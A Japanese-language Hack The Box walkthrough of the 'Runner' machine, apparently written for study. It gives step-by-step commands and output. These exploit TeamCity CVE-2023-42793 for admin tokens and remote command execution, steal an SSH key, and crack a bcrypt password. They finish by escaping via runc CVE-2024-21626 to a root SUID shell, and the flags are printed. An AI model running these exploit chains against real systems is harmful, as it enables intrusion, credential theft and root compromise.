Hack The BoxのWriteup(Runner)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Runner — 手動攻略レポート
Nmap
22/80/8000
VHost
teamcity.runner.htb
CVE-2023-42793
TeamCity token + debug RCE
SSH鍵回収
john
user.txt
Portainer
matthew:piper123
CVE-2024-21626
runc FD leak
root.txt

Nmapでポート確認

実行コマンド
nmap -sC -sV -Pn 10.129.230.247
実行結果
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-title: Runner - CI/CD Specialists
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site does not have a title (text/plain; charset=utf-8).
80番は http://runner.htb/ へリダイレクトするため、名前解決を追加してWeb側の調査を進める。

hosts登録とサブドメイン列挙

実行コマンド
echo "10.129.230.247 runner.htb" | sudo tee -a /etc/hosts
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://runner.htb -H "Host: FUZZ.runner.htb" -fs 154
実行結果
teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2]

追加で登録:
10.129.230.247 teamcity.runner.htb
Phase 2

TeamCity: CVE-2023-42793による初期侵入

管理者トークンの取得

teamcity.runner.htb は TeamCity 2023.05.3 で、CVE-2023-42793 の認証バイパスが成立する。

実行コマンド
curl -s -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
実行結果
<token name="RPC2" value="eyJ0eXAiOiAiVENWMiJ9.WTdKbDVhTTZsaW5LWnZDYXVPczhfRjhkOEow.NzkyZDIyZTItY2I5OC00MTYzLThlZGEtZWE0ZTRiY2QxOTky" />

debug process 実行を有効化

実行コマンド
TOKEN="eyJ0eXAiOiAiVENWMiJ9.WTdKbDVhTTZsaW5LWnZDYXVPczhfRjhkOEow.NzkyZDIyZTItY2I5OC00MTYzLThlZGEtZWE0ZTRiY2QxOTky"
curl -s -H "Authorization: Bearer $TOKEN" -X POST "http://teamcity.runner.htb/admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true"
curl -s -H "Authorization: Bearer $TOKEN" "http://teamcity.runner.htb/admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties"
実行結果
internal.properties に rest.debug.processes.enable=true を設定。
診断ページを読み直して設定を反映。

コマンド実行確認とTeamCityデータディレクトリ確認

実行コマンド
curl -s -H "Authorization: Bearer $TOKEN" -X POST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=env"
実行結果
StdOut:
TEAMCITY_DATA_PATH=/data/teamcity_server/datadir
USER=tcuser

TeamCityコンテナ内で tcuser としてコマンド実行可能。
Phase 3

SSH鍵の回収と user.txt

TeamCityに保存されたSSH秘密鍵を読む

実行コマンド
curl -s -H "Authorization: Bearer $TOKEN" -X POST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=cat&params=%2Fdata%2Fteamcity_server%2Fdatadir%2Fconfig%2Fprojects%2FAllProjects%2FpluginData%2Fssh_keys%2Fid_rsa" -o id_rsa
chmod 600 id_rsa
実行結果
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

鍵コメントと検証からユーザーは john と判断。

johnとしてSSHログインしてuser.txt取得

実行コマンド
ssh -i id_rsa -o StrictHostKeyChecking=no -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa john@10.129.230.247 "whoami && cat /home/john/user.txt"
実行結果
john
75c8549abe6c8f85549d2ee4e544ed4a
user.txt
75c8549abe6c8f85549d2ee4e544ed4a
Phase 4

Portainer: matthew認証情報の取得

/etc/hostsからPortainerのVHostを確認

実行コマンド
ssh -i id_rsa -o StrictHostKeyChecking=no john@10.129.230.247 "cat /etc/hosts"
実行結果
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb

TeamCity HSQLDBのbcryptハッシュを抽出してクラック

実行コマンド
curl -s -H "Authorization: Bearer $TOKEN" -X POST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=grep&params=-RaoE&params=\$2a\$[0-9][0-9]\$[./A-Za-z0-9]{53}&params=/data/teamcity_server/datadir/system" > hashes.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --show
実行結果
$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123

matthew の平文パスワードは piper123。SSHでは使えないが、Portainerにはログインできる。

Portainer APIへログイン

実行コマンド
echo "10.129.230.247 portainer-administration.runner.htb" | sudo tee -a /etc/hosts
curl -s -X POST http://portainer-administration.runner.htb/api/auth -H "Content-Type: application/json" -d '{"username":"matthew","password":"piper123"}'
実行結果
{"jwt":"<Portainer JWT>"}

Portainer CE に matthew:piper123 でログイン成功。endpoint Id は 1、Docker Engine は 25.0.3、runc は 1.1.7。
Phase 5

runc CVE-2024-21626によるroot権限取得

SUID化するbashをホスト側に準備

PortainerのBuild Image機能からDockerfileをビルドし、CVE-2024-21626WORKDIR /proc/self/fd/8 を使ってホスト側の /tmp/exploit/bash にroot所有・SUIDを付ける。

実行コマンド
ssh -i id_rsa -o StrictHostKeyChecking=no john@10.129.230.247 "mkdir -p /tmp/exploit && cp /bin/bash /tmp/exploit/bash"
cat > Dockerfile <<'EOF'
FROM ubuntu:latest
WORKDIR /proc/self/fd/8
RUN cd ../../../../../../../ && chmod -R 777 tmp/exploit && chown -R root:root tmp/exploit && chmod u+s tmp/exploit/bash
EOF
tar -cf rn_context.tar Dockerfile
実行結果
john 権限で /tmp/exploit/bash を配置。
Dockerfile と tar コンテキストを作成。

PortainerのBuild APIでDockerfileをビルド

実行コマンド
curl -s --max-time 60 -H "Authorization: Bearer <Portainer JWT>" -H "Content-Type: application/x-tar" -X POST --data-binary @rn_context.tar "http://portainer-administration.runner.htb/api/endpoints/1/docker/build?t=malicious-image:latest&dockerfile=Dockerfile"
実行結果
Step 1/3 : FROM ubuntu:latest
Step 2/3 : WORKDIR /proc/self/fd/8
Step 3/3 : RUN cd ../../../../../../../ && chmod -R 777 tmp/exploit && chown -R root:root tmp/exploit && chmod u+s tmp/exploit/bash
sh: 0: getcwd() failed: No such file or directory
/bin/sh: 1: cd: getcwd() failed: No such file or directory
Successfully built 56fd53988fb2
Successfully tagged malicious-image:latest
ビルドログに getcwd() 失敗が出るが、この挙動がFDリークを利用できている兆候。直後にホスト側ファイルの所有者とSUIDビットが変化した。

SUID確認とroot.txt取得

実行コマンド
ssh -i id_rsa -o StrictHostKeyChecking=no john@10.129.230.247 "ls -l /tmp/exploit/bash && /tmp/exploit/bash -p -c 'cat /root/root.txt'"
実行結果
-rwsrwxrwx 1 root root 1396520 Aug 15 07:21 /tmp/exploit/bash
ceacd29fed47fd99010061c5bc622e82
root.txt
ceacd29fed47fd99010061c5bc622e82
Summary

攻略サマリー

項目内容
Initial Accessteamcity.runner.htbCVE-2023-42793 で管理者トークン取得、debug process APIを有効化して任意コマンド実行。
UserTeamCityデータディレクトリから AllProjects/pluginData/ssh_keys/id_rsa を読み、john としてSSHログイン。
CredentialHSQLDB内のbcryptハッシュから matthew:piper123 を取得し、Portainerへログイン。
Privilege EscalationPortainer Build Image機能と CVE-2024-21626 を利用し、ホスト上の /tmp/exploit/bash をroot所有SUID化。
Flagsuser.txt = 75c8549abe6c8f85549d2ee4e544ed4a
root.txt = ceacd29fed47fd99010061c5bc622e82